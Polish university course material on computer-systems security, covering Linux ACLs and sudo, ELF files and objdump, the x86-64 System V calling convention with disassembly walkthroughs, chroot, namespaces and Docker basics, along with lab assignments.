Celem przedmiotu jest zapoznanie studentów z podstawowymi problemami bezpieczeństwa systemów informatycznych. Omawiane będą m.in. zagrożenia systemów informatycznych w kontekście poufności, integralności i dostępności informacji, modele bezpieczeństwa i klasy bezpieczeństwa systemów informatycznych (TCSEC, ITSEC, EAL), problematyka tworzenia polityki bezpieczeństwa systemu informatycznego, elementy kryptografii, zagadnienia dotyczące podpisu elektronicznego i infrastruktury klucza publicznego, podstawowe modele uwierzytelniania, strategie kontroli dostępu, bezpieczeństwo protokołów komunikacyjnych i usług aplikacyjnych. Przedstawiona zostanie problematyka bezpiecznego programowania, narzędzia analizy zabezpieczeń i monitoringu, lokalne i sieciowe systemy wykrywania ataków i ochrony przed nimi, środowiska o podwyższonym bezpieczeństwie i usługi narzędziowe (np. Kerberos, bezpieczne usługi katalogowe).
Podstawowe wiadomości z zakresu przedmiotów:
Laboratoria obejmują zakresem następujące ćwiczenia:
Jednym z podstawowych wątków w ramach bezpieczeństwa systemów komputerowych jest zarządzanie dostępem do zasobów systemu komputerowego oraz czynności za pomocą tych zasobów wykonywanych.
user:testowy:r-x mask::rw-
% touch plik-testowy % ls -l plik-testowy -rw-r--r-- 1 janek bsk 0 2016-10-05 14:46 plik-testowy
% getfacl plik-testowy # file: plik-testowy # owner: janek # group: bsk user::rw- group::r-- other::r--
% getfacl plik-testowy –-omit-header user::rw- group::r-- other::r--
% setfacl -m u:ala:rwx plik-testowy
% getfacl plik-testowy # file: plik-testowy # owner: janek # group: bsk user::rw- user:ala:rwx group::r-- mask::rwxman setuid other::r--
% ls -l plik-testowy -rw-rwxr--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy
% setfacl -x u:ala plik-testowy % getfacl plik.txt –-omit-header user::rw- group::r-- mask::r-- other::r--
% ls -l plik.txt rw-r--r--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy
% setfacl -d -m group:testowa:wx bsk-lab1 % getfacl bsk-lab1 –-omit-header user::rwx group::r-x other::r-x default:user::rwx default:group::r-x default:group:testowa:-wx default:mask::rwx default:other::r-x
% getfacl -R --skip-base . >backup.acl
su root
su - root
<użytkownik> <komputer>=(<efektywny-użytkownik>) <programy>
dobo ALL=(ALL) ALL
dobo localhost= ALL
<span class="inline inline-center"> sudo -l
man sudo man sudoers man setuid man setgid
identyfikator_klienta imię nazwiskoChcesz udostępnić klientom dwa katalogi: lokaty i kredyty. Dodatkowo masz dwóch pracowników, którzy zarządzają lokatami i kredytami. Napisz skrypt, który stworzy odpowiednią strukturę katalogów, założy klientom oraz pracownikom konta (useradd) oraz skonfiguruje dostęp do katalogów w taki sposób aby:
Powstały skrypt prześlij na Moodle.
Plik z listą klientów ma być parametrem skryptu.Załącznik | Wielkość |
---|---|
uzytkownicy.txt | 95 bajtów |
Po skompilowaniu programy lub biblioteki są zapisywane w systemie w postaci plików. Pliki te mają standaryzowany format, ale w różnych systemach operacyjnych odmienny. W systemach uniksowych (czyli we wszystkich linuksach) obecnie dominuje format ELF (ang. Executable and Linkable Format), który jest dostępny dla wielu architektur maszyn (np. x86, M68k, x86-64 czy ARM lub ARM 64-bits). Tego formatu można się spodziewać w plikach o rozszerzeniach: .axf, .bin, .elf, .o, .out, .prx, .puff, .ko, .mod and .so, ale też i w plikach bez rozszerzeń. Format ELF jest odmienny od formatu PE (ang. Portable Executable), w którym zapisane są pliki w systemach Windows. Również innym formatem - Mach-O - posługują się systemy firmy Apple. Na potrzeby tej lekcji skupimy się na formacie ELF i narzędziach służących do jego oglądania.
Podstawowym narzędziem, którego będziemy używali do oglądania plików
w formacie ELF jest polecenie objdump
. Za jego pomocą
możemy się dowiadywać różnych ciekawych informacji na temat plików z
kodem wykonywalnym. Na przykład podstawowe informacje wynikające z
nagłówka pliku ELF możemy uzyskać za pomocą:
# objdump -d <nazwa_pliku>
Oto kilka przykładowych wyników działania tego polecenia:
# objdump -f /bin/ls /bin/ls: file format elf64-x86-64 architecture: i386:x86-64, flags 0x00000150: HAS_SYMS, DYNAMIC, D_PAGED start address 0x0000000000006b10 # objdump -f /lib/libasm.so.1 /lib/libasm.so.1: file format elf32-i386 architecture: i386, flags 0x00000150: HAS_SYMS, DYNAMIC, D_PAGED start address 0x00002760 # objdump -f /lib64/libasm.so.1 /lib64/libasm.so.1: file format elf64-x86-64 architecture: i386:x86-64, flags 0x00000150: HAS_SYMS, DYNAMIC, D_PAGED start address 0x0000000000002750 # objdump -f /lib64/libg.a In archive /lib64/libg.a: dummy.o: file format elf64-x86-64 architecture: i386:x86-64, flags 0x00000011: HAS_RELOC, HAS_SYMS start address 0x0000000000000000
Z których możemy wyczytać, że tylko trzy z nich działają w architekturze 64-bitowej (x86-64), trzy mogą brać udział w dynamicznym ładowaniu (DYNAMIC), wszystkie mają tablicę symboli (HAS_SYMS), dla trzech strony procesu dla kodu wykonywalnego pochodzącego z danego pliku mogą być przydzielane dynamicznie (D_PAGED). Dla jednego pliku możemy wyczytać, że jest archiwum bibliotecznym, a dla wszystkich mamy podany adres, pod który skoczy proces po załadowaniu pliku do pamięci, gdy potraktujemy kod jako plik wykonywalny (start address).
Ten ostatni adres jest szczególnie interesujący dla
pliku /bin/ls
, ale więcej o tym, co tam się znajduje,
dowiemy się za chwilę. Wcześniej przyjrzyjmy się dokładniej
strukturze plików ELF, w szczególności plików wykonywalnych.
Ogólna, typowa struktura pliku ELF ma następującą postać:
/-------------------\ | Nagłówek ELF |---\ /---------> >-------------------< | e_shoff | | |<--/ | Section | Nagłówek sekcji 0 | | | |---\ sh_offset | Header >-------------------< | | | Nagłówek sekcji 1 |---|--\ sh_offset | Table >-------------------< | | | | Nagłówek sekcji 2 |---|--|--\ \---------> >-------------------< | | | | Sekcja 0 |<--/ | | >-------------------< | | sh_offset | Sekcja 1 |<-----/ | >-------------------< | | Sekcja 2 |<--------/ \-------------------/
Jak widać, początki sekcji są wyznaczane przez odpowiednie wskaźniki. Oznacza to, że w zasadzie faktyczna kolejność sekcji może być odmienna. Typowy układ sekcji wygląda tak:
/-------------------\ | Nagłówek ELF | >-------------------< | Nagłówki sekcji | >-------------------< | .text | - sekcja ze skompilowanymi instrukcjami programu >-------------------< | .init | - sekcja ze instrukcjami programu służącymi do | | jego inicjalizacji >-------------------< | .rodata | - sekcja z danymi tylko do odczytu >-------------------< | .data | - sekcja z danymi inicjalizującymi, ale | | zmienialnymi w trakcie działania programu >-------------------< | .bss | - dane statyczne inicjalizowane na zero >-------------------< | .symtab | - tablica symboli pozwalających wiązać różnego | | rodzaju nazwy symboliczne z pozycjami w pliku | | obiektowym >-------------------< | .rel.text | - sekcja ze skompilowanym kodem relokowalnym >-------------------< | .rel.data | - sekcja z danymi w formacie relokowalnym >-------------------< | .debug | - sekcja zawiera informacje potrzebne przy | | debugowaniu, format zależny od debuggera | | sprzężonego z kompilatorem >-------------------< | .line | - sekcja ta zawiera informacje potrzebne przy | | debuggowaniu, a odpowiadające za powiązanie | | kodu źródłowego z kodem asemblerowym w pliku obiektowym >-------------------< | .strtab | - napisy, zwykle napisy reprezentujące nazwy w | | tablicy symboli \-------------------/
Sekcje zawierają informacje potrzebne przy linkowaniu - czyli komponowaniu plików składowych w pliki wykonywalne, a na samym końcu w początkowy obraz procesu. W ostatecznym rachunku sekcje tworzą segmenty programu wykonywalnego. Oczywiście kolejność występowania sekcji w pliku jest dowolna i nie musi ona wyglądać tak jak na powyższym rysunku. Nazwy te mają charakter umowny i czasami wyglądają nieco inaczej (np. możemy mieć .rdata zamiast .rodata lub możemy mieć inne umiejscowienie fragmentów nazw wskazujących na relokowalny kod czy dane albo też bardziej rozbudowane nazwy sekcji z danymi do debugowania). Typowe przełożenie sekcji na segmenty w pamięci roboczej procesu wygląda następująco:
/----------------------\ | Pamięć jądra, | -\ | adresy niedostępne | > pamięć niewidoczna dla kodu procesu | dla procesu | -/ >----------------------< >----------------------< | Stos procesu | | użytkownika | >----------------------< <-- %esp (wskaźnik wierzchołka stosu) | | | | v | | | | ^ | | | | >----------------------< | Region przeznaczony | | na mapowanie | | bibliotek dzielonych | >----------------------< | | | ^ | | | | >----------------------< <-- rozszerzane za pomocą brk | Sterta procesu | | (alokacja z pomocą | | malloc itp.) | | | >----------------------< | Segment danych do | -\ | odczytu i zapisu | | | (sekcje .data .bss) | | >----------------------< > dane ładowane z pliku | Segment danych tylko | | wykonywalnego | do odczytu (sekcje | | | .init .text .rodata) | -/ >----------------------< <-- zwykle: 0x0000000000400000 (64) | | 0x0000000008048000 (32) | | \----------------------/ <-- 0x0000000000000000
Oto jeszcze kilka przydatnych opcji programu objdump
:
# objdump -h <nazwa pliku>
- wyświetli podstawowe
informacje zawarte w nagłówkach sekcji,
# objdump -x <nazwa pliku>
- wyświetli podstawowe
informacje zawarte we wszystkich nagłówkach pliku obiektowego,
# objdump -d <nazwa pliku>
- pokaże nam
zdezasemblowany kod wykonywalnych sekcji programu,
# objdump -D <nazwa pliku>
- pokaże nam
zdezasemblowany kod wszystkich sekcji programu,
# objdump -D <nazwa pliku>
- pokaże nam
zdezasemblowany kod wszystkich sekcji programu,
# objdump -s <nazwa pliku>
- pokaże nam
w postaci szesnastkowej, a tam gdzie się da w ASCII,
zawartość wszystkich sekcji,
# objdump -g <nazwa pliku>
- pokaże nam
zawartość sekcji związanych z debugowaniem,
# objdump -t <nazwa pliku>
- pokaże nam
zawartość tablicy symboli (używanych przy dezasemblacji kodu),
# objdump -T <nazwa pliku>
- pokaże nam
zawartość tablicy dynamicznie ładowanych symboli,
# objdump -j <nazwa sekcji> <nazwa pliku>
- pokaże nam
zawartość wskazanej sekcji pliku.
W części tej zaczniemy przedstawiać podstawowe informacje dotyczące ABI. ABI to skrót od angielskiego Application Binary Interface, czyli specyfikacji, która opisuje, jak kod programu współpracuje z jego otoczeniem wykonawczym. W szczególności właśnie tam jest opisana procedura inicjalizacji procesu, ale także lokalizacja kodu i danych, sposób korzystania ze stosu, konwencja wywoływania procedur czy zasady układania danych na odpowiednich granicach adresowych i.in. W obecnym materiale skupimy się nad popularnym ABI używanym w świecie systemów uniksowych działających na procesorach Intel x64, czyli nad System V AMD64 ABI.
Popracujemy teraz nad kodem następującego prostego programu
#include <stdio.h> int process(int a) { int b = 3; return a+b; } int main(void) { int n = 10; int i = 1; int sum = 0; for(;i<=n;i++) sum+=process(i); printf("\n Sum is : [%d]\n",sum); return 0; }
umieszczonego w pliku o nazwie sum.c
. Po jego skompilowaniu:
# gcc -g sum.c -o sum
Otrzymamy plik wykonywalny sum
, dla którego
# objdump -fsRrd sum
da zawartość załączonego
pliku sum_objdump.txt
.
Na początek zwróćmy uwagę, że adresem startowym programu
jest 0x0000000000401040
. Pod tym adresem, jak widać w
załączonym wyniku objdump
, znajduje się symbol o
nazwie _start
i to rzeczywiście w to miejsce, a nie do
funkcji main
jest wykonywany skok na początku działania
programu.
Przyjrzyjmy się kodowi związanemu z tym symbolem
0000000000401040 <_start>: 401040: f3 0f 1e fa endbr64 401044: 31 ed xor %ebp,%ebp 401046: 49 89 d1 mov %rdx,%r9 401049: 5e pop %rsi 40104a: 48 89 e2 mov %rsp,%rdx 40104d: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp 401051: 50 push %rax 401052: 54 push %rsp 401053: 45 31 c0 xor %r8d,%r8d 401056: 31 c9 xor %ecx,%ecx 401058: 48 c7 c7 3e 11 40 00 mov $0x40113e,%rdi 40105f: ff 15 8b 2f 00 00 call *0x2f8b(%rip) # 403ff0 <__libc_start_main@GLIBC_2.34> 401065: f4 hlt
Powyższy kod zaczyna się od instrukcji endbr64
, której
funkcją jest zabezpieczanie przed atakami związanymi ze skokami
sterowanymi przez dane (programowanie zorientowane na powroty czy
skoki). Część instrukcji skoku działa tak, że wykonanie skoku
zakończy się wyjątkiem, jeśli punkt docelowy nie zaczyna się od
właśnie tej instrukcji.
Następna instrukcja pod adresem 0x401044
zeruje
zawartość rejestru %ebp
, który to rejestr zawiera
wskaźnik na rekord aktywacji aktualnej procedury zwany też ramką
procedury. Działanie to jest wymagane przez ABI. Właśnie ono
przepisuje, że wskaźnik ramki dla najbardziej zewnętrznej procedury
powinien być zerowy. W przypadku pozostałych procedur wskaźnik ramki
będzie dosyć niedaleki od adresu szczytu stosu, znajdującego się w
rejestrze %rsp
. Uwaga - xor na dolnej części
rejestru %rbp
, czyli właśnie na %ebp
,
powoduje wyzerowanie jego górnej części.
Kolejna instrukcja pod adresem 0x401046
zajmuje się już
przygotowaniem parametrów wejściowych dla wywołania funkcji
__libc_start_main
, które ma miejsce pod
adresem 0x40105f
. W związku z tym opiszemy teraz
używaną w opisywanym tutaj ABI konwencję wołania funkcji/procedur.
W skrócie, według tej konwencji najpierw argumentom przypisywane są
odpowiednie klasy (np. POINTER, INTEGER, SSE, MEMORY i.in.), a
następnie w zależności od klasy przydzielane im są w kolejności od
lewej do prawej odpowiednie lokacje sprzętowe. I tak pierwsze sześć
lokacji dla argumentów całkowitoliczbowych (INTEGER) lub
wskaźnikowych (POINTER) to odpowiednio rejestry
%rdi
, %rsi
, %rdx
%rcx
, %r8
, %r9
(ciekawostka:
rejestr %r10
jest używany w językach takich jak Pascal,
które oferują możliwość deklarowania funkcji/procedur
zagnieżdżonych, wtedy pokazuje on na ramkę procedury, wewnątrz
której zadeklarowana została wołana procedura). Dla argumentów
zmiennoprzecinkowych pierwsze osiem lokacji to
%xmm0
, %xmm1
, %xmm2
, %xmm3
,
%xmm4
, %xmm5
, %xmm6
, %xmm7
.
Dalsze argumenty, ale także argumenty o większych rozmiarach, są
przekazywane na stosie.
Jeśli nie są używane specjalne opcje kompilatora, to adres powrotu z
funkcji znajduje się tuż obok siódmego argumentu całkowitoliczbowego
na stosie. Dodatkowo poniżej wskaźnika stosu istnieje tak zwana
czerwona strefa, która z założenia nie będzie używana przez żadne
procedury obsługi sygnałów czy przerwań. Kompilatory umieszczają tam
czasami zmienne lokalne bez zmieniania zawartości
rejestrów obsługujących stos %rbp
czy %rsp
.
Jednak należy pamiętać, że takie optymalizacje mają sens tylko w
przypadku funkcji, które nie wywołują już żadnych innych funkcji -
wywołania tych ostatnich popsują zawartość tego obszaru.
__libc_start_main
w _start
Wiedząc tyle na temat ABI, możemy wrócić do analizy
funkcji _start
. Zanim jeszcze tam przejdziemy warto
wiedzieć, że przed wywołaniem tej funkcji stos ma następującą zawartość:
/-----------------\ | NULL | >-----------------< | ... | | envp | | ... | >-----------------< | NULL | >-----------------< | ... | | argv | | ... | >-----------------< | argc | <- rsp \-----------------/
Dodatkowo rejestr %rdx
zawiera przy wejściu
do _start
adres funkcji zajmującej się terminacją
obsługi bibliotek dzielonych. Pomoże nam to zrozumieć, dlaczego
następne instrukcje mają kształt widoczny na listingu.
Jak wspomnieliśmy od
adresu 0x401046
znajduje się kod, który przygotowuje
parametry wejściowe dla wywołania z biblioteki standardowej funkcji
__libc_start_main
. Funkcja ta ma następujący interfejs:
int __libc_start_main ( int (*main) (int, char **, char **), // adres kodu funkcji main, %rdi int argc, // liczba argumentów polecenia, %rsi char **argv, // tablica argumentów polecenia, %rdx __typeof (main) init, // konstruktor programu, %rcx void (*fini) (void), // destruktor programu, %r8 void (*rtld_fini) (void), // adres funkcji terminacji dla // bibliotek dzielonych załadowanych // przed kodem obecnego pliku, %r9 void *stack_end // wskaźnik na szczyt stosu, na stosie )
W komentarzach opisane zostało znaczenie poszczególnych argumentów oraz wynikające z ABI pozycje argumentów w rejestrach i na stosie. Wszystkie argumenty są albo całkowitoliczbowe, albo wskaźnikowe, dlatego wypełnione zostają kolejno wszystkie rejestry odpowiedzialne za przekazywanie argumentów. Dzieje się to w następujący sposób:
0x401046
wypełniany jest
rejestr %r9
podanym w %rdx
adresem
funkcji terminującej działanie bibliotek dzielonych załadowanych
przed kodem z obecnego pliku.
0x401049
wypełniany jest
rejestr %rsi
znajdującą się na szczycie stosu
liczbą argumentów polecenia.
0x40104a
wypełniany jest rejestr
%rdx
adresem szczytu stosu, który po wykonanej
wcześniej instrukcji pop
wskazuje na tablicę
argumentów polecenia.
0x40104d
instrukcja and
powoduje wyrównanie wskaźnika stosu przez obniżenie jego adresu
do najbliższej pełnej wielokrotności 16, co jest wymagane przez
ABI.
0x401051
instrukcja push
wstawia wartość, która jest nieistotna z punktu widzenia
działania programu. To jest po prostu śmieciowa wartość.
0x401052
za to
instrukcja push
powoduje zapisanie adresu czubka
stosu, czyli siódmego argumentu
funkcji __libc_start_main
. Przy okazji - dwie
instrukcje push
obniżają szczyt stosu o 16 bajtów.
0x401053
i 0x401056
instrukcje xor
zerują
rejestry %r8
, %rcx
(trzeba sobie przypomnieć, co dokładnie robi xor
na
młodszej połówce rejestru).
0x401058
wreszcie wypełniany jest
rejestr %rdi
, jak łatwo stwierdzić na podstawie
danych w pliku, adresem funkcji main
.
Po tych wszystkich działaniach następuje rzeczywiście skok
do __libc_start_main
, która wykonuje wszystkie operacje
niezbędne do uruchomienia kodu w C, a następnie woła
funkcję main
. Gdy zaś ta zakończy działanie, obsługuje
też wszystkie działanie związane z wyjściem z procesu. W związku z
tym w zasadzie wyjście z niej nie powinno nigdy nastąpić. Gdyby tak
się jednak z jakiegoś powodu stało, to tuż za wywołaniem tej funkcji
występuje instrukcja hlt
, której wykonanie poza kodem
jądra spowoduje błąd i proces zakończy natychmiast działanie w
sposób awaryjny.
Przyjrzyjmy się teraz temu, jak swoje działanie organizuje funkcja,
która została wywołana. Zrobimy to na przykładzie
funkcji process
z naszego programu sum.c
.
Funkcja ta po zdezasemblowaniu ma taką postać:
0000000000401126: 401126: 55 push %rbp 401127: 48 89 e5 mov %rsp,%rbp 40112a: 89 7d ec mov %edi,-0x14(%rbp) 40112d: c7 45 fc 03 00 00 00 movl $0x3,-0x4(%rbp) 401134: 8b 55 ec mov -0x14(%rbp),%edx 401137: 8b 45 fc mov -0x4(%rbp),%eax 40113a: 01 d0 add %edx,%eax 40113c: 5d pop %rbp 40113d: c3 ret
Procedury/funkcje w C muszą się trzymać zasady, że muszą zachowywać
zawartość pewnych rejestrów. Chronione w ten sposób rejestry
to %rbx
, %rsp
, %rbp
oraz %r12
-%r15
.
To właśnie ta zasada powoduje, że w pierwszej instrukcji pod
adresem 0x401126
na stos kładziona jest zawartość
rejestru %rbp
. Potem wartość ta jest odtwarzana pod
adresem 0x40113c
. Jednocześnie w tym samym miejscu
niejawnie jest odtwarzana zawartość rejestru wskaźnika
stosu %rsp
. Pozostałe rejestry w kodzie nie są używane,
więc nie zachodzi potrzeba ich odtwarzania.
Po zapamiętaniu oryginalnej wartości rejestru %rbp
do
rejestru tego wstawiany jest adres aktualnego szczytu
stosu. Następnie w instrukcjach spod adresów 0x40112a
i
0x40112d
inicjalizowane są pod czubkiem stosu, we
wspomnianej wcześniej czerwonej strefie, zmienne lokalne,
odpowiednio
a
i b
. Następnie pod
adresami 0x401134
i 0x401137
następuje
załadowanie wartości zmiennych do rejestrów roboczych,
odpowiednio %edx
i %eax
. Wreszcie pod
adresem 0x40113a
następuje dodanie tych wartości. Wynik
operacji trafia do rejestru %eax
. Wykorzystana tutaj
jest konwencja wychodzenia.
Konwencja wychodzenia z procedury/funkcji każe wartości
całkowitoliczbowe lub wskaźnikowe o rozmiarze do 64 bitów
umieszczać w rejestrze %rax
(%eax
to
młodsza połówka tego właśnie rejestru), zaś o rozmiarze do 128
bitów w połączonych rejestrach %rax
(młodsza połówka)
i %rdx
(starsza połówka). Wartości zmiennoprzecinkowe
są na podobnej zasadzie podawane w rejestrach %xmm0
i %xmm1
.
Ostatnia instrukcja procedury/funkcji to ret
, która to
instrukcja przenosi sterowanie pod adres wskazany na szczycie
stosu. Jeśli włamywacze niczego nie popsuli, to jest to adres
procedury/funkcji, z której nasza funkcja była wołana. W przypadku
naszego przykładowego kodu będzie to zawsze
adres funkcji main
.
Rozważmy następujący program:
#include <stdio.h> int process(int a) { int ar[8] = { 0, 1, 2, 3, 4, 5, 6, 7 }; ar[3]=a; int sum = 0; for (int i=0;i<8;i++) sum+=ar[i]; return sum; } int main(void) { int n = 10; int i = 1; int sum = 0; for(;i<=n;i++) sum+=process(i); printf("\n Sum is : [%d]\n",sum); return 0; }
Po skompilowaniu i użyciu objdump
uzyskaliśmy zrzut
dezasemblera z
pliku sum_array_objdump.txt
. Przyjrzyj
się temu zrzutowi i dopisz w komentarzach po dwuznaku //
umieszczonych w pobliżu miejsca związanego z pytaniem odpowiedzi na
następujące pytania:
i
z funkcji main()
?
sum
z funkcji main()
?
i
z funkcji process()
?
sum
z funkcji process()
?
ar
z
funkcji process()
?
ar
adres, pod którym znajduje się adres
powrotu z funkcji process()
?
Wartości adresów podaj symbolicznie, np. obecny adres szczytu stosu minus 16. Zmodyfikowany tak przez dodanie komentarzy plik należy przesłać do Moodle.
Załącznik | Wielkość |
---|---|
sum.c | 234 bajty |
sum_objdump.txt | 43.73 KB |
sum_array.c | 330 bajtów |
sum_array_objdump.txt | 41.36 KB |
Jeśli aplikacja (np. serwer http) jest uruchamiana pod systemem operacyjnym, w szczególności np. z uprawnieniami roota, w przypadku umiejętnego wykorzystania błędu atakujący może uzyskać bardzo szerokie uprawnienia, m.in. nieograniczony dostęp do systemu plików. Włamywacze są bardzo łasi na wynajdowanie takich podatności.
W celu uniknięcia takich zagrożeń:
http
lub www
);W systemie Linux można uruchomić dowolny proces (i jego procesy potomne) ze zmienionym katalogiem głównym za pomocą polecenia chroot
(można to też zrobić wewnątrz programu za pomocą wywołania systemowego chroot()
). Uruchomiony w ten sposób proces nie może powrócić do rzeczywistego katalogu głównego w systemie plików. Można więc przygotować inny niż główny katalog zawierający pliki niezbędne dla aplikacji np. biblioteki czy pliki konfiguracyjne. Zwykle trzeba odwzorować część struktury katalogów i plików konfiguracyjnych, np. /etc, /usr/lib/, /var, /proc. Mechanizm chroot
może być też przydatny dla celów testowania oprogramowania lub np. zrealizowania środowiska programistycznego ze specyficznym zestawem bibliotek i narzędzi. Do zalet należy także zaliczyć bardzo łagodną krzywą uczenia się przy korzystaniu z tego rozwiązania i brak konieczności modyfikacji jądra systemu operacyjnego.
chroot
Jeśli docelowy katalog został przygotowany, można uruchomić proces, np.:
chroot /przygotowany_katalog /usr/sbin/apache2 -k start
chroot
Sam w sobie chroot
nie posiada mechanizmów limitowania zasobów używanych przez proces, użycie go nie zabezpiecza więc przed atakami DoS. (Ograniczenia takie można wprowadzić za to mechanizmem PAM).
Uruchomienie polecenia chroot
wymaga uprawnień roota.
Chroot
nie zmienia UID i GID procesu. Jeśli aplikacja sama nie zmieni UID, będzie wykonywana z prawami roota.
Istnieją sposoby, które pozwalają procesowi uruchomionemu z prawami roota, wyjście poza określony poleceniem chroot katalog -
opisano je w lekturze uzupełniajacej http://linux-vserver.org/Secure_chroot_Barrier.
Można przy okazji zacytować fragment listu Alana Coxa: "(...) chroot is not and never has been a security tool." :)
Jeżeli chcemy mimo wszystko przygotować katalog chroot
, możemy ułatwić sobie życie na dwa sposoby. Po pierwsze można przygotować minimalną instalację jakiejś dystrybucji, aby uniknąć zgadywania, które pliki są potrzebne do pracy naszego programu; dotyczy to zwłaszcza bibliotek korzystających z wielu plików pomocniczych. Trzeba jednak pamiętać, aby nie umieszczać w systemie zbędnych programów z bitem SUID, które mogłyby być wykorzystane do „ucieczki” z chroota
. Warto też pamiętać o poleceniu
mount --bind /proc /przygotowany_katalog/proc mount --rbind /dev /przygotowany_katalog/dev
pierwsza wersja powoduje, że pliki z systemu plików (lub jakiegoś katalogu z systemu plików) widocznego jako /proc będą też widoczne w katalogu /przygotowany_katalog/proc
. Nie dotyczy to jednak katalogów podmonotwanych wewnątrz proc, np. /proc/sys/fs/binfmt_misc
. Natomiast druga wersja obejmuje także katalogi podmontowane wewnątrz dowiązywanego katalogu.
Chociaż opanowanie podstawowej funkcjonalności chroot
jest łatwe, to jak zaznaczyliśmy powyżej, użycie chroot
do stworzenia szczelnie zamkniętego środowiska wykonawczego dedykowanego dla jednej aplikacji jest żmudne i wymaga sporego doświadczenia. Dlatego opracowane zostały bardziej kompleksowe rozwiązania, które pozwalają na lepsze opanowanie wskazanych trudności.
Naturalnym roszerzeniem chroota
jest objęcie ograniczeniami także innych zasobów niż system plików. W idealnym świecie uruchomiony w takim ulepszonym chroocie
– czyli kontenerze – program powinien zachowywać się tak, jakby był uruchomiony na maszynie wirtualnej na tym samym komputerze i z oddzielną kopią tego samego jądra. Jednak ponieważ naprawdę nie uruchamiamy nowego jądra, to nie występuje narzut spowodowany koniecznością obsługi wywołań systemowych przez dwa jądra, wirtualizacją urządzeń sprzętowych itp. Możemy także, jeżeli tego potrzebujemy, osłabić izolację w jakimś miejscu, aby programy bardziej efektywnie współpracowały. Ograniczeniem jest konieczność używania takiego samego jądra we wszystkich używanych kontenerach i systemie bazowym (choć to ograniczenie w ostatnich czasach zostało zupełnie zniwelowane).
W Linuksie implementacja kontenerów opiera się na uogólnieniu pojącia chroot
do pojęcia namespace. Są one następujące i pozwalają izolować:
Namespace Constant Isolates Cgroup CLONE_NEWCGROUP Cgroup root directory IPC CLONE_NEWIPC System V IPC, POSIX message queues Network CLONE_NEWNET Network devices, stacks, ports, etc. Mount CLONE_NEWNS Mount points PID CLONE_NEWPID Process IDs User CLONE_NEWUSER User and group IDs UTS CLONE_NEWUTS Hostname and NIS domain name
Tabelka pochodzi z man namespace(7). Tę stronę podręcznika systemowego należy przeczytać, a strony zależne przejrzeć. Należy także zapoznać się z możliwościami nakładania ograniczeń na procesy za pomocą grup cgroups(7).
Na podstawie tej infrastuktury zbudowanych jest kilka środowisk dających wygodne narzędzia do wirtualizacji, są to. np. Linux Containers (LXC), OpenVZ, Docker. Na tych zajęciach przyjrzymy się bliżej jako przykładowi temu ostatniemu rozwiązaniu.
Docker składa się z procesu serwera, który odpowiada za faktyczne tworzenie kontenerów, ich modyfikacje, itp. oraz klienta, którego funkcją jest zapewnianie możliwości korzystania z serwera. W celu skonfigurowania nowego kontenera, tworzymy w pustym katalogu plik o nazwie Dockerfile z zawartością odpowiadającą naszym potrzebom. Oto przykładowa zawartość:
FROM debian:buster # O ile chcemy, aby proces działał w środowisku Debian 10 MAINTAINER Kto To Wie RUN apt-get update && apt-get install -y apache2 EXPOSE 80 CMD apachectl -D FOREGROUND
pierwsza linia oznacza obraz systemu operacyjnego, z którego korzystamy na początku pracy. Docker ma centralny rejestr obrazów, z których można korzystać przy tworzeniu kontenerów, są w nim w szczególności podstawowe instalacje różnych dystrybucji. Jeśli chcemy uniezależnić się od twórców Dockera, można też uruchomić własny taki serwer.
Linia z wpisem MAINTAINER jest wymagana, ale ma charakter informacyjny. Następnie mamy (być może kilka) linii z poleceniami RUN. Opisują one polecenia potrzebne do przygotowania docelowej konfiguracji kontenera. W celu uniknięcia zbyt częstego wykonywania tych samych poleceń Docker zapamiętuje stan kontenera po każdej linijce z pliku Dockerfile w sposób analogiczny do migawek zwykłych maszyn wirtualnych.
Polecenie EXPOSE 80 udostępnia światu port 80. Polecenie CMD określa polecenie, które będzie służyło do faktycznego uruchomienia kontenera - w tym przypadku jest to serwer Apache. Gdy podany proces zakończy działanie Docker zatrzyma wszystkie procesy w kontenerze
W celu uruchomienia naszego kontenera wchodzimy do odpowiedniego katalogu z plikiem Dockerfile i wykonujemy polecenia:
docker build . docker container run <id_obrazu>
lub krócej
docker run <id_obrazu>
Polecenie docker build .
zbuduje obraz na podstawie pliku Dockerfile (w tym przypadku na Debianie 10, ale np. z dołączonymi naszymi plikami), polecenie docker run id_obrazu
uruchomi proces serwera Apache w nowym kontenerze w środowisku naszego obrazu.
Polecenie
docker images
lub
docker image ls
pozwala sprawdzić identyfikator (id) obrazu.
Jeśli chcemy szybko uruchomić proces w nowym kontenerze (w środowisku Debian 10) bez pisania pliku Dockerfile, możemy napisać
docker run -t -i debian:buster /bin/bash
Polecenie docker run
wykona wtedy kilka kroków:
docker pull debian:buster
Należy zwrócić uwagę, że istnieje duża różnica między docker run id_obrazu
, a docker start id_kontenera
. (W tym samym znaczeniu można wykonać docker container run id_obrazu
lub docker container start id_kontenera
). Polecenie Dockera run zawsze tworzy nowy kontener.
Kilka przykładów operacji na kontenerach:
docker container ls -a (listowanie wszystkich) docker container run <id_obrazu> (uruchamia proces w nowym kontenerze, w środowisku obrazu o danym id) docker container stop <id_kontenera> (zatrzymywanie kontenera) docker container start <id_kontenera> (uruchamianie zatrzymanego kontenera) docker container rm <id_kontenera> (usuwanie) docker container prune (usuwanie wszystkich zatrzymanych)
Można też oczywiście usuwać obrazy (docker image rm id_obrazu
lub docker image prune
-- usuwa wszystkie nieużywane). Tak jak było widać już wcześniej, np. polecenie docker stop
wykona to samo, co docker container stop
, ale nie zadziała docker prune,
trzeba użyć docker image prune
lub docker container prune
. Pierwsze usuwa obrazy, drugie kontenery. Warto sprawdzić jakie opcje są dostępne dla danego polecenia Dockera: docker --help
, docker container --help
, docker image --help
, docker container ls --help
itd.
Należy pamiętać, że obraz (image) i kontener (container) to nie to samo. Obraz daje możliwość utworzenia środowiska
dla procesu w kontenerze, środowiska opartego na konkretnym systemie operacyjnym (Debianie 9, Debianie 10, Ubuntu itp).
Można powiedzieć, iż kontenery korzystają z obrazów, z jednego obrazu może korzystać wiele kontenerów. Więcej informacji
na temat przechowywania danych, warstw z których składa się dockerowa pamięć nieulotna można znaleźć na https://docs.docker.com/storage/storagedriver/.
Docker oraz plik Dockerfile mają jeszcze wiele możliwości, których nie poznaliśmy. Co ciekawe, od wersji Docker Engine 19.03, istnieje możliwość pracy w trybie nie roota, w tej wersji cecha ta jest uważana za eksperymentalną. Do używania w tym trybie zalecana jest najnowsza wersja 20.10.
